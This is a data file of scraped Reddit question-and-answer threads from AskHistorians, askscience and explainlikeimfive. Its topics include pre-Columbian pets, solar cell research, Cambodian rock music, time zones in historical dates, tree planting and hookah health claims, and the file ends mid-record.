{"q_id": "2hdr1j", "title": "Pets in pre-Colombian South America?", "selftext": "I'm asking this cause I didn't really find an answer to this in the wiki page.\n\nSo, let's say I belong to one of the major groups that used to or still live in South America, maybe a Guarani, a Mapuche or one of the many ethnic groups under the Inca, what sort of pet would I have? A llama, a monito del monte, a colocolo? A dog, something close to that?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2hdr1j/pets_in_precolombian_south_america/", "answers": {"a_id": ["ckryllu"], "score": [5], "text": ["Llamas were domesticated; I don't know if they could be regarded as \"pets\" but there's traditional Andean festival in which the llamas all plied with chicha and get extremely drunk ([Steele 119](_URL_2_)). Guinea pigs were domesticated for food. \n\nParrots were kept in basketry cages, and dogs were definitely pets, particularly the Peruvian hairless dogs (some are completely hairless; some have tufts of hair on their head). In [this article](_URL_0_), Sonia Guillen says, in precontact dog burials, \"They were wrapped in textiles and they had a bit of fish put on top of the snout, as a way to send them to the other life with covering and food.\" [Pics](_URL_1_).\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.peruthisweek.com/blogs-the-rise-of-the-peruvian-hairless-dog-101862", "https://www.google.com/search?q=peruvian+hairless&amp;client=firefox-a&amp;hs=x2i&amp;rls=org.mozilla:en-US:official&amp;channel=sb&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ei=S6wjVPT8B8f38AGktoC4CA&amp;ved=0CAgQ_AUoAQ&amp;biw=903&amp;bih=566#rls=org.mozilla:en-US:official&amp;channel=sb&amp;tbm=isch&amp;q=%22peruvian+hairless%22", "http://books.google.com/books?id=6Wa9RwqdqEkC&amp;lpg=PA119&amp;dq=llamas%20drunk%20on%20chicha&amp;pg=PA119#v=onepage&amp;q&amp;f=false"]]}
{"q_id": "bp5aqt", "title": "How have scientists improved the efficiency of solar cells in the past, and how are scientists trying to improve the efficiency of solar cells today?", "selftext": "Like, what specifically do solar researchers research on a day-to-day basis, and what strategies have they tried in the past?\n\nAlso, what majors could I work toward in college if I wanted to help develop more efficient solar cells? (I'd guess electrical engineering or materials science, or even like physics or something, but I am not sure.)\n\nThank you", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bp5aqt/how_have_scientists_improved_the_efficiency_of/", "answers": {"a_id": ["enoss0u", "enp098m", "enp5zlp", "enr4hik", "enr7coz", "ens5x63"], "score": [4, 8, 4, 3, 3, 4], "text": ["I've read of improvements in the surface area of the panel by making them bumpy, changes in the glass to both stop blocking some spectrum and also amplify and focus the light on spots, and also changing the receptors to work with more of the spectrum.\n\nI'm not sure how much of that is research or how much is applied.", "Broader absorption spectra (utilizing deeper absorption into UV and less selective about wavelengths in the visible spectrum) has increased the amount of raw energy collected.   Otherwise, I'm sure advances electrical engineering has improved the efficiency of power distribution. \n\nIf you want to work on solar technologies, I would recommend solid state physics and material science.", "There is a lot of chemistry and materials research being done to improve the amount of light that is absorbed. Synthesizing new absorbers, understanding detrimental decay pathways, etc. There are relatively new fields called singlet fission (for organic materials) and multiple exciton generation (for inorganic semiconductors) where you can generate multiple electrons for each photon that is absorbed, which is pretty cool. There is also a lot of research being done to understand how to get electrons out of materials after they have absorbed light. So understanding polymer morphology, charge transfer between material interfaces, etc.\n\nYou could major in a physical science like chemistry, physics, or even biochemistry, or you could major in an engineering discipline (chemical engineering, electrical engineering, materials or polymers engineering) and still do research on improving solar cell efficiency. It is a very interdisciplinary field. I work in a chemistry department and we collectively do a lot of different things: traditional organic synthesis, materials science, device construction, computational chemistry and modelling. I personally use lasers to study what happens to molecules after they absorb light.\n\nOther engineering fields work on alternative energy as well, but are more focused on the infrastructure aspects of it.", "There you go... The research was real, but the anticipated improvement didn't pan out.\n\nThis isn't so much about the surface area of the panels or cells, but maximizing the surface on which you can mount your panels...\n\n_URL_0_", "There was actually a paper released just the other day about perovskite solar cells doped with *caffeine* of all things.\n\n_URL_0_\n\nPerovskite cells are supposed to be a much cheaper alternative to silicon-based cells, but they have a lot of problems with longevity; the crystal structure is unstable and breaks down too quickly to be commercially viable. This lab was trying to figure out an additive to boost the cells' performance and someone jokingly suggested caffeine. They tried it just to see what happened, and to the surprise of literally everyone it worked! The efficiency boost isn't spectacular (up from 17% to 19.8%), but the stability improvement is enormous: The \"decaffeinated\" cells lose 40% of their energy output after only 175 hours, but the caffeinated cells only lose 14% after 1300 hours!\n\nThey believe this works by slowing down the growth of the perovskite crystals (the article mentions the growth time increased from a couple of seconds to a couple of minutes), which allows the individual crystal grains to grow larger, and also by stabilizing the grain boundaries because each caffeine molecule can bond to two lead atoms in the crystal structure, effectively acting like a bridge between grains. They're using this knowledge to search for even better dopants.", "A lot of the work on the panel side of the equation is on coming up with a cheap and efficient panel.  One of the current problems we have is that we have a lot of fairly cheap panels and a lot of efficient ones, but not a lot of them that are both.\n\n_URL_0_\n\nWe have fairly cheap solar panels like a lot of the Silicon based ones, but there are technologies we already know about that are much more efficient.  These technologies can usually be some combination of Galium, Indium, Arsinide, etc. (GaInAr)  however compared to Silicon these metals are not as abundant naturally and also have some other considerations to worry about.  Nor are they mass produced on the scale that Silicon is. \n\nThe GaInAr type panels and others in the same class can in many cases have twice the efficiency of many of the panels we currently have on the market, but they aren't really competitive for general use just yet. Plus the other thing a lot of work has been done on is ensuring the panels actually have long term endurance under constant use."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.extremetech.com/extreme/123719-mit-stacks-solar-panels-like-pancakes-increases-their-power-output-by-up-to-20x"], ["https://www.reddit.com/r/Physics/comments/bmweu1/new_material_bolsters_thinfilm_solar_cells/"], ["https://www.energy.gov/sites/prod/files/2016/04/f30/efficiency_chart_0.jpg"]]}
{"q_id": "90w3fu", "title": "Is it harder to smell things in higher altitudes?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/90w3fu/is_it_harder_to_smell_things_in_higher_altitudes/", "answers": {"a_id": ["e2u6s2z"], "score": [22], "text": ["Yes because the air is more dry. You need moisture to dissolve chemicals in your nasal membrane to smell them. That smell after it rains is how nature smells all the time, it's just more pronounced when there's a lot of moisture. It's also why farts in the shower are more deadly"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1mm918", "title": "Why does Costa Rica have such a reputation for peace and stability through its history while the rest of Central America is a miserable war zone?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1mm918/why_does_costa_rica_have_such_a_reputation_for/", "answers": {"a_id": ["ccajfwo"], "score": [7], "text": ["Costa Rica managed to walk a fine diplomatic line during the cold war. They have enough social values to make Russia love them and to keep their poorest fed. They embraced enough capitalistic values (farm exports) to make the US love them as well. I really respect CR as a nation. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1lu2q6", "title": "What determines crystallization temperature for minerals?", "selftext": "What factors determine when a given mineral will form, and what determines the temperature and pressure ranges within which a given mineral is stable?  Are there equations for predicting/determining this?  Where should I look if I want to learn more about this?\n\nTo be clear: I am familiar with Bowen's reaction series, but am trying to understand the \"why\".  For example, why does biotite crystallize before muscovite, even though they are both sheet silicates?\n\nThanks in advance for any useful responses.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lu2q6/what_determines_crystallization_temperature_for/", "answers": {"a_id": ["cc3bbnj"], "score": [2], "text": ["My exposure to crystal theory is mostly from organic chemistry, but I'd expect inorganic to be similar. This is more of a chemistry question in general,  and the answer is pretty much intermolecular forces. As a crystal forms, molecules have to add onto the existing structure in a particular conformation, so a variety of factors including orientation, molecule speed (i.e. temp), and IMF determine how a crystal forms. Best resource would be a chemistry textbook. As far as I know, crystallization data is empirical, so no formulas exist, though you can predict trends. Even though biotite and muscovite are both sheet silicates, they have different chemical formulas and weights, so you wouldn't expect them to have similar crystallization points. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dztjns", "title": "what makes someone a visual or audio or other type of learner?", "selftext": "Is it just like a personality trait? Or is it something that can be changed or learned?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dztjns/eli5_what_makes_someone_a_visual_or_audio_or/", "answers": {"a_id": ["f8apcvp"], "score": [5], "text": ["Hmm, it depends on a few things, \n\n1. Let's say from your childhood you were always taught by listening and never did a lot of visual learning, so you unconsciously favour and developed this type of learning. You feel confident in it and you prefer it, thus you rely more on it and you develop it overtime.\n\n2. If you show me some hard core mathematics or anything where I need to use my analytical (left side of the brain which is the analytical, logical sequencing), I would say visual is much better.  You can preach to me as much as you want but on the third sentence I would have forgotten the first bit. Regardless of what learner I am. \n\n\n3. It is a well known fact that everyone learns best by doing, anything that you produce (read, write) rather than only intake you learn and it sticks. I saw a video from Leo from _URL_0_ and he talks about that. So if you write or sing a song rather than just listening to it or watching the lyrics, you will learn it much faster regardless of your learning style. \n\nHope that gives you some food for thought!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["Actualized.org"]]}
{"q_id": "fdqapb", "title": "Why did a thriving rock music scene emerge in Cambodia of all places during the 60s and 70s? Did South Vietnam and Laos also experience a similar music boom during the same period, particularly from US exposure?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fdqapb/why_did_a_thriving_rock_music_scene_emerge_in/", "answers": {"a_id": ["fjk8oa3"], "score": [221], "text": ["The rock and roll scene was more in the 1960s, before the civil war began in 1970, partly affected by the Vietnam-American war spilling over into Cambodia. I\u2019ll come back to that in a moment.\n\nThere were a few factors contributing to the music scene in the late 1950s-1960s; the king at the time Norodom Sihanouk was a patron of the arts and invested a lot in films (including several he directed(; the royal ballet and theatre.  Newly independent Cambodia\u2019s capital of Phnom Penh was thriving at the time, and was known as the \u201cPearl of Southeast Asia\u201d. \n\nBy comparison Vietnam was already in the beginning of the Second Indochina War ( what we usually call the Vietnam War, or in Vietnam the American War). Interestingly, the US military ships based off the coasts of Vietnam and Cambodia played music like the Beatles, Motown, surfer music... and this was all picked up via radio in Cambodia, so this popular music from the West influenced the music scene in the country.  Sometimes this was in translating songs like \u201chouse of the rising sun\u201d but also creating unique music. \n\nSihanouk managed to keep Cambodia out of the Cold War / Indochina War for a time, but eventually in 1970 he was overthrown and the country broke into civil war. The new government of the Khmer Republic pressured musicians and radio stations to create propaganda music, and in. 1975 when the Khmer Rouge took control of the country that was the end of Cambodian rock and roll. It\u2019s estimated only 10% of the musicians and artists survived the Khmer Rouge regime. \n\nFortunately, in the last 20 years or so, the younger generations have reconnected with the lost music and it\u2019s common to hear the famous singers from the 1960s. \n\nI can\u2019t speak as much to Laos or Vietnam by comparison at this time.\n\nApologies for formatting, I\u2019m on my mobile. There is of course much much more to say about the war in Cambodia as well as the Indochina Wars, but trying to focus my reply on the question about Cambodian rock and roll. \n\nSources: \nI am living in Cambodia and research peace and related topics, this is a topic that comes up frequently, \n\nOn the music:\nDon\u2019t Think I\u2019ve Forgotten: Cambodia\u2019s Lost Rock and Rock (documentary) _URL_0_\n\nGeneral history  &  overview of the war: \nHistory of Cambodia by David Chandler"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=ksyFB6eCcTM"]]}
{"q_id": "15mn03", "title": "does instagram really have the right to sell your pictures now?", "selftext": "I read somewhere that they lost like, 25% of their users based on this change, but also that it was manipulated. I'd just like to know if I should stop putting shit on there. Thanks guys.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/15mn03/eli5_does_instagram_really_have_the_right_to_sell/", "answers": {"a_id": ["c7nu5e5"], "score": [11], "text": ["No, what the change in TOS was interpreted as was them \"selling your photos\" so that you'd be walking down the street and see your lovely cat picture on a Purina billboard. That was never what was doing to happen.\n\nWhat they wanted to do (and are rewording the TOS to be clearer about), is use your photos for promotional purposes. Do you use Facebook or Twitter? If you have, you've no doubt seen \"14 of your friends Like Purina\" or \"Check out #purina to see what Twitter thinks about our new cat food!\" The easiest form of advertising for Instagram to take advantage of is to have sponsored hashtags like \"Check out these photos of instagram users, their pets, and #purina!\" This does mean that your photo of #purina may be in an ad on Instagram or Facebook, but again, not \"sold\" like stock photography.\n\nWhile it's certainly reasonable for people to not be ok with their photos being used for this kind of marketing, I feel like the TOS change (which Instagram was incredibly transparent about, it was the header of their app for weeks) wasn't nearly as sinister as people made it out to be.\n\nSources:\n\n[1](_URL_0_)\n\n[2](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://bits.blogs.nytimes.com/2012/12/17/what-instagrams-new-terms-of-service-mean-for-you/", "http://www.theverge.com/2012/12/18/3780158/instagrams-new-terms-of-service-what-they-really-mean"]]}
{"q_id": "34zcdm", "title": "are historical events recorded in the time zone that they occur? wouldn't an event that occurs in the united states given the right time occur on a different day in for example australia?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/34zcdm/eli5_are_historical_events_recorded_in_the_time/", "answers": {"a_id": ["cqzh6en", "cqzhfnd", "cqzhp46", "cqztrfy", "cqzz5dg"], "score": [11, 3, 15, 2, 2], "text": ["Everyone both marks and celebrates relative to their own timezone.  For the easiest way to anchor your thinking, everyone celebrates new years on their version of January 1.\n\nSimilarly, if you're hanging out in London and you're an american, you'll celebrate the 4th of July on the 4th of the July - you don't have to wait to eat your hotdog until its lunch time in Washington D.C.", "Time zones are a new invention.  In the past, travel was so slow and clocks were so inaccurate, it didn't really matter exactly when things happened.  Historical event implicitly are set to local time, and while technically an event in the US might have happened on a different day in Australia, but it is seldom important to make that distinction.", "Effectively, yes. Good example is 9/11. Down here in New Zealand, we still refer to it as 9/11 and treat it as if it occurred on the 11th of September here, despite the fact that, in our time zone, it occurred at (I think) about 1am on 12th of September. ", "An example of that is first step on the moon by N. Armstrong: US people learn it happened on July 20th 1969. In France, where I was raised, we learn it happened on july 21st 1969, at 3:56 am.", "The end of WW2 in Europe is celebrated on the 8th. But in Russia (well, in all former USSR territories, except for now Ukraine) it's celebrated on the 9th, because it was after midnight Moscow time when the capitulation paperwork was signed.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1dolrr", "title": "why is phil fish, developer of fez, under so much controversy?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1dolrr/eli5why_is_phil_fish_developer_of_fez_under_so/", "answers": {"a_id": ["c9sbttx", "c9sbuo6", "c9sbusm", "c9sbz8s", "c9sbzef", "c9sc831", "c9scaea", "c9sckp3", "c9sctvn", "c9sdnck", "c9se31c", "c9segtg", "c9sfb10", "c9sj0og", "c9sl1mu"], "score": [69, 50, 13, 375, 27, 2, 7, 45, 2, 16, 7, 5, 2, 2, 4], "text": ["Because he recently [insulted his fans](_URL_2_) before his game released on steam. Has stirred up controversy with generally unlikable and all around [douchy comments](_URL_0_).  He's also been quoted saying that [Japanese games suck](_URL_1_). He also has a super high ego and thinks after making one good game that gives him the right to criticize other developers with ridiculous remarks. He's often criticized for his arrogant sarcastic attitude online.", "As far as I know, he took years developing Fez and repeatedly pushed back the deadline for the game. However, Phil was designing an incredibly ambitious game all by himself due to legal troubles and business problems. A lot of the people anticipating the game's release reamed him for all the delays. Him being frustrated, he fell out of touch with his fans and to this day he still bitter about the way many react to what he says, as well as his business decisions. Some controversy also follows a recent release of Fez on the PC. I haven't followed it too much, but I believe quite a few people are dissatisfied with the port and the snarky attitude Phil seems to have toward these people. I could be wrong though. Not covering my tracks on this one. Lol I'm sure someone will fill in the blanks. ", "He said that Japanese games suck, like, straight to a Japanese guy's face. It was after a screening of Indie Game:The Movie, and Fish was on a panel to answer questions afterwards. \n\n\"A Japanese game developer noted that so many indie game seemed inspired by old Japanese games and asked what Fish (and the other panel members) for an opinion on the country's modern games.\"\n\nPhil, uhh, didn't really censor himself, and talked a lot of trash about Japan's modern game designs.\n\nHere's the kotaku article about it.\n_URL_0_\n\nTL;DR Phil said some culturally insensitive things about Japanese games in a public forum.", "Well, he says a lot of inflammatory things. Some are taken out of context, some might work as jokes in person but make him come across as an ass in text, some are just him trying to be an affable asshole (and failing).\n\nHe was featured pretty heavily in Indie Game: The Movie, which, depending on your reading, either makes him look like a person under a tremendous amount of pressure starting to crack, or a pretentious, whiny asshole who thinks that everything he does is golden. \n\nBut really, most of it is overblown. He says some things that rile people up a little bit, and if his work was perfect he would be able to get away with it just fine. But due to his games being flawed on a technical level (although Fez was *incredibly* ambitions from a design standpoint), lots of the internet expect him to be more apologetic towards the public, which he is not. But watch him in a more natural, unedited setting (Like [here](_URL_0_)) that isn't edited for emotion like a movie and lets you actually hear his tone behind the words and he seems much more normal. \n\nEdit: Relevant link that I totally forgot about, [Phil Fish watches Indie Game: The Movie](_URL_1_), taken right after he sees the film for the first time. \"Ed\" that he talks about is Ed Mcmillen, one of the creators of Super Meat Boy.", "A)\nHe made a prototype of a game years ago that people got very excited about, as well as received grants from the Canadian government, but when he wasn't able to deliver to his promised deadlines the collective internet went into a hissy fit about how much he sucks.\n\n\nB) All that (and basically all I know about this) was expressed in the documentary \"Indie Game: The Movie,\" which also portrayed Phil as a whiny, egotistical, overly melodramatic primadonna.  In the movie, the interviewer asks him what would happen if he doesn't finish the game and he pretty much states that he would kill himself.\n\nC) When the game was released on Xbox exclusively he commented that \"PC's are for spreadsheets\" which threw a bunch of gamers into another hissy fit.\n\nD)When the game did release on Steam there was a concerted effort by some to boycott it, but when it was still very high on the preorder list Phil basically gave all the haters the middle finger on twitter by trolling them some more, sending them into an even bigger hissy fit to the point that I didn't know that Fez was coming out on a PC until all the rabble started.", "Put as simply as possible, he's a jerk.\n\nHe spends the vast majority of his time on Twitter insulting people and getting angry about being insulted. He's been known to curse people who give him regular, understandable criticism. Apparently, he also now has a victim complex.\n\nNo sympathy from me.", "There were also accusations of nepotism when Fez was nominated and won some IGF awards years before it even released because Phil Fish has close ties with people in the IGF and I had heard he was one of the voting members. These are just accusations I've heard on various gaming forums and I've never seen any proof for any of them. Mostly he is hated for his attitude, poor treatment of fans, high opinion of himself, and the many insults to other game designers and entire nations of people.", "At the end of the day, Fez is a good game.\n", "You can enjoy an artist's work and not care for the artist, it's allowed. Picasso was an asshole; now, I'm a thousand miles from saying Phil Fish is Picasso, but people love Picasso's work without having to consider their feelings about Picasso *the man*. If you want to **not** buy Fez out to punish Phil Fish for his behavior, that's your right. I guess the nearest equivalent to PF is Denis Dyack, except that Dyack's games suck.", "People people get upset when others disagree with them. He doesn't like Japanese games. People take offense. He gave a 10% discount. People take offense. He trolls people trying to boycott his game. People take offense. He trolls and he says what he thinks and unfortunately because he has a big audience what he says is blown out of proportion. I look at things he's done and stuff he's said and I would say the same stuff most of the time because of the shit people put him through. \n\nHe got shit after Indie game the movie came out and in all honestly I hated him before that movie came out and I thought it made him a pretty likeable guy. I then began to look at why people get angry at him and why he lashes out and I realized that if people were that vitriolic toward me I would do the same thing.", "Because gamers can be dicks and tend to blow things out of proportion.", "He's not. He keeps acting like he's a victim of something, when really it's just that people think he's kind of a dick. There's no real controversy.", "He's hardly under much controversy. People sometimes think he acts like a shithead, he's still making money off his game and treated as a respected figure in indie games, people just call him a cock.", "Watch Indie Game Movie \n\nI watched it for a class and he's an inflammatory douche. In my opinion of course. \n\n_URL_0_ ", "I just recently watched Indie Game: The Movie, and honestly he seemed pretty unstable upon first appearance. I know there are probably reasons for his downward personality spiral, but he kind of seems like he's on the verge of a killing rampage. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.imgur.com/j7Y3jx2.jpg", "http://kotaku.com/5891178/when-you-say-japanese-games-just-suck", "http://venturebeat.com/2013/04/24/an-indie-developers-strategy-to-sell-games-insult-fans-and-raise-prices/"], [], ["http://kotaku.com/5891178/when-you-say-japanese-games-just-suck"], ["http://www.youtube.com/watch?v=WB_AtWhHb5s", "http://vimeo.com/32748458"], [], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Indie_Game:_The_Movie"], []]}
{"q_id": "cqnbbh", "title": "how do \u201d350 millions trees planted each year\u201d actually work?", "selftext": "In sweden theres a commercial where they say they plant 350 million new trees each year, but how does it work? Thats 1 million per day if my maths correct\n\nHow many workers are required for this?\nWhat kind of machines are used?\nHow many % of all these trees dont die during the growth and make it to adulthood?\n\nSo many questions", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cqnbbh/eli5_how_do_350_millions_trees_planted_each_year/", "answers": {"a_id": ["ewxmad4", "ewxn92q", "ewy4ixb", "ewy4k9n", "ewy7h63"], "score": [63, 4, 68, 9, 16], "text": ["Under legislation passed in 1903, the Swedish Forestry Act states that there is an obligation to replant at least two trees if one is to be cut down (aimed at the forestry industry, not regular people). In Sweden, more trees are planted than are cut down since if one is cut down, at least two are grown. The time to simply plant two trees is far shorter than the time required to cut down one tree. People can manually plant one to two trees in a minute or less so it really isn't that difficult. In France, 80% of trees are planted manually because it just isn't hard.\n\nBut obviously, this can get expensive and time-consuming so people have figured out how to fully automate or semi-automate this task. There is such thing as automating tree planting and there are many different machines used in the industry. Machines used usually have the same concept: they prepare the ground by clearing it and drops the seeds somewhat deep into the soil (you can't grow trees on the surface of the soil) and if possible - water it.  \n\n\nThink about it similar to how farmers plant crops using planters pulled by a tractor which tills the soil and then drops seeds in.\n\nSources:  \n1. [_URL_0_.](_URL_2_.)   \n2. [_URL_1_](_URL_1_)  \n3. [_URL_3_](_URL_3_)", "In terms of oxygen generation? It helps but not extremely important. A large part of the oxygen that we breath comes from algea. [Source](_URL_0_)\n\nI'm not a scientist, I just heard this somewhere in the past and found a seemingly reliable source for now. If there are any legit scientists there, feel free to correct me.", "Hey, Canadian tree planter here. Canada actually has similar rules with planting 2 trees for every 1 cut down. Reforestation companies hire large amount of people to work in remote areas to plant trees. An average camp size is about 45 planters not including staff and cooks. An average planter can plant about 2000 trees a day but really good ones can do more. In just one summer/ spring season Canada plants millions of trees. It takes a lot of work to get these camps up and running but once everyone knows how to plant and is serious about making money then trees really start to get planted quickly. Not sure how Sweden does their reforestation but I would imagine similar to Canada. \n\nNow that I think about it I want to plant some trees in Sweden.", "I wish someone would ever take into account that you can't just stick a tree sapling in the ground and walk away, and expect it to live.  \"Ethopia planted 350 million trees in one day!\" isn't as impressive when 90% of them die within the year due to to not being managed.\n\nIt gives people a false and dangerous sense of accomplishment.", "I planted over 100k trees during my summer of tree planting. You can plant a tree every 2 seconds if you are good. Some people can do it while pretty much running."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.skogsstyrelsen.se/globalassets/in-english/forests-and-forestry-in-sweden\\_2015.pdf#targetText=Forestry%20is%20vitally%20important%20for,traded%20on%20the%20global%20market", "https://www.mdpi.com/1999-4907/9/7/370/pdf", "https://www.skogsstyrelsen.se/globalassets/in-english/forests-and-forestry-in-sweden_2015.pdf#targetText=Forestry%20is%20vitally%20important%20for,traded%20on%20the%20global%20market", "https://hal.archives-ouvertes.fr/hal-01433983/document"], ["http://www.ecology.com/2011/09/12/important-organism/"], [], [], []]}
{"q_id": "ubfhh", "title": "The CDC claims smoking a hookah for an hour is equivalent to smoking 200 cigarettes. I would like some clarification.", "selftext": "**EDIT: maybe I should rephrase my question, because people are getting hung up on largely irrelevant details like 'hookahs are vapor not smoke.' The CDC makes the statement with the obvious implication that smoking a hookah = smoking 200 cigarettes, in terms of net impact on your health. Obviously this isn't the case. What ARE the impacts of hookah smoke on your health, and how does it compare in real terms to smoking cigarettes? Can a numerical conversion even be made?**\n\n\nClearly this is just a sound byte that can be easily spread for the sake of public awareness. I am interested in the science that lead to this conclusion and any caveats that might be worth knowing. What are the specifics behind this claim?\n\nConcerns I immediately thought of:\n\n1. Maybe shisha has fewer chemicals than an average cigarette and is therefore healthier?\n2. Maybe hookah smokers inhale much more deeply and this actually results in more lung damage?\n\n[Google search of 'hookah 200 cigarettes'](_URL_0_)\n\n[The section of the CDC fact sheet relevant to the claim](_URL_1_)\n\nThis says that the VOLUME of smoke inhaled is equal to 200 cigarettes, but not that the health impact of that smoke is equal to 200 cigarettes.\n\nAnd yes, I know smoking hookah is not exactly healthy, but I just get irritated by quick-fix slogans and \"PSAs\" that don't actually provide any educational value. I want to know the truth so I can make an informed decision about whether or not to continue my infrequent hookah sessions (less than once per month)\n\nThanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ubfhh/the_cdc_claims_smoking_a_hookah_for_an_hour_is/", "answers": {"a_id": ["c4txpmu", "c4tzd95", "c4tzh23", "c4u4bqp"], "score": [8, 21, 6, 11], "text": ["The source of the claim comes from the Tobacco Free Initiative, here is the source: \n\nWorld Health Organization. Tobacco Regulation Advisory Note. Water Pipe Tobacco Smoking: Health Effects, Research Needs and Recommended Actions by Regulators Exit Notification. (PDF\u2013550 KB) Geneva: World Health Organization, Tobacco Free Initiative, 2005 [accessed 2011 Feb 15].\n\nSpecifically, it claims \"Cigarette smokers typically take 8-12, 40-75ml puffs over about 5-7 minutes and inhale 0.5 to 0.6 liters of smoke (10). In contrast, waterpipe smoking sessions typically last 20-80 minutes, during which the smoker may take 80-200 puffs which range from 0.15 to 1 litre each (6). The waterpipe smoker may therefore inhale as much smoke during one sessions as a cigarette smoker would inhale consuming 100 or more cigarettes.\" \n\nWhether this is true or not is another story. I'd have to dig into references 10 and references 6 and scrutinize their results...", "So, the CDC website cites [this](_URL_1_) WHO regulation recommendation (that provides a good reference on how water pipes actually work and where the smoke comes from) which cites [this](_URL_3_[all] & cmd=correctspelling) 2004 paper which seems to be focusing more on calibration of a smoking machine used in toxicology studies rather than trying to make the claim you mention in your question. The author (Shihadeh A) is concerned that previous assessments of the toxins in a given smoking session were undershooting the actual values.  \n\n >  A single smoking\nmachine test was conducted using the current smoking\nmodel given in Table 3, in accordance with the methods\nspecified in the cited study, and the total particulate matter\n(TPM) collected was found to be 1.10 g. This is considerably higher than the 0.40 g previously measured using the\noriginal 100 puff smoking protocol, indicating that the\ncurrent model will likely yield considerably greater tar and\nnicotine from a single smoking session than previously\nreported.  \n\nSince this was old, I looked into more recent articles by this author and found [one](_URL_0_) directly comparing cigarette smoking and water pipes in terms of nicotine exposure, carbon monoxide exposure, and heart rate.  \n\n >  Relative to a cigarette, waterpipe tobacco smoking was associated with similar peak nicotine exposure, 3.75-fold greater COHb, and **56-fold greater inhaled smoke volume**. Waterpipe and cigarette influenced many of the same subjective effect measures. These findings are consistent with the conclusion that waterpipe tobacco smoking presents substantial risk of dependence, disease, and death, and they can be incorporated into prevention interventions that might help deter more adolescents and young adults from experimenting with an almost certainly lethal method of tobacco use. \n\nIn this paper, the author mentions concerns about polycyclic hydrocarbons. [This](_URL_2_) article mentions them again:  \n\n >  In any case, discussions of whether the water or the tobacco temperature reduces smoke toxicant content from some maximal level may be made moot by the fact that, in a single use episode with water in the waterpipe and a relatively low tobacco temperature, a waterpipe produces an average of 90,000 ml of smoke that, relative to a single cigarette, contains about 6 times the CO (Table 2), 46 times the tar (see Table 2), and more than 50 times the quantity of some carcinogenic polycyclic aromatic hydrocarbons,53 as well as heavy metals such as lead and arsenic.18  \n\nSo, the original claim seems to lack support from the author it cites, but he and associated authors assert that smoking a water pipe for a typical duration leads to far greater exposures to some chemicals.  ", "This is still being studied, so results are conflicting.\n\nHere's the basic reality: You do indeed inhale a much larger significant amount of material while using a hookah. The device itself utilizes two basic tools, a crude vaporizer and a water filtration system that provides a weak filter as well as a temperature cooling effect on the material. This means a two things:\n\n1. You are inhaling more vapor than smoke when using a hookah. So it is much less physically damaging than cigarettes. However, unlike herbal vaporization, tobacco vaporization has not yet been proven to decrease carcinogen count. Again this is still being studied.\n\n2. The inhaling of cooled vapor is much easier than hot smoke. Therefore, the user, having to pull the vapor through the water filter, inhales much harder and confidently. This not only pulls the vapor in much greater amounts than cigarette smoke, but draws it deeper into the lungs. The effect of the significance vaporized tobacco on the lungs is still debated.\n\nedit: after reading further, it seems a lot of people have come out against the WHO claim's as they are neglecting the fact that most carcinogens are created by plant combustion, and hookahs utilize vaporization.\n_URL_0_", "The actual research and CDC releases do not obviously imply, as you say  \"that smoking a hookah = smoking 200 cigarettes, **in terms of net impact on your health**\"\n\nIt says:\n\n > A typical 1-hour-long hookah smoking session involves inhaling **100\u2013200 times the volume of smoke** inhaled from a single cigarette\n\nIt then goes on to say that this is not healthy. A statement you agree with. It makes no numerical comparison in terms of health risk, it only makes the *qualitative* statement that hookah smoking is not a healthy activity.\n\nEven the first few Google hits don't say \"in terms of impact on health\", they just let you assume that by leaving off the volume bit. It's hyperbolic and misleading, but hey....[welcome to the wonderful world of science reporting](_URL_0_). \n\nInhaling any form of particulate matter is bad. In addition, there are substances in tobacco that will make it through the bubbling of a hookah that can still adversely affect your health. Particulates will also make it through and any particulate matter in your lungs is bad. There are volatiles in tobacco that will also cause problems. \n\nBottom line: Smoking a hookah is probably healthier than smoking, but in the same sense that drinking a large soda with lunch every day is healthier than drinking a quart of heavy cream with lunch every day. \n\nI wouldn't make a habit out of either.\n\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": ["http://lmgtfy.com/?q=hookah+200+cigarettes", "http://www.cdc.gov/tobacco/data_statistics/fact_sheets/tobacco_industry/hookahs/#compare"], "answers_urls": [[], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3107609/?tool=pmcentrez", "http://www.who.int/tobacco/global_interaction/tobreg/Waterpipe%20recommendation_Final.pdf", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3215592/?tool=pmcentrez", "http://www.ncbi.nlm.nih.gov/pubmed?term=towards%20a%20topographical%20model%20of%20nargwhile%20water-pipe"], 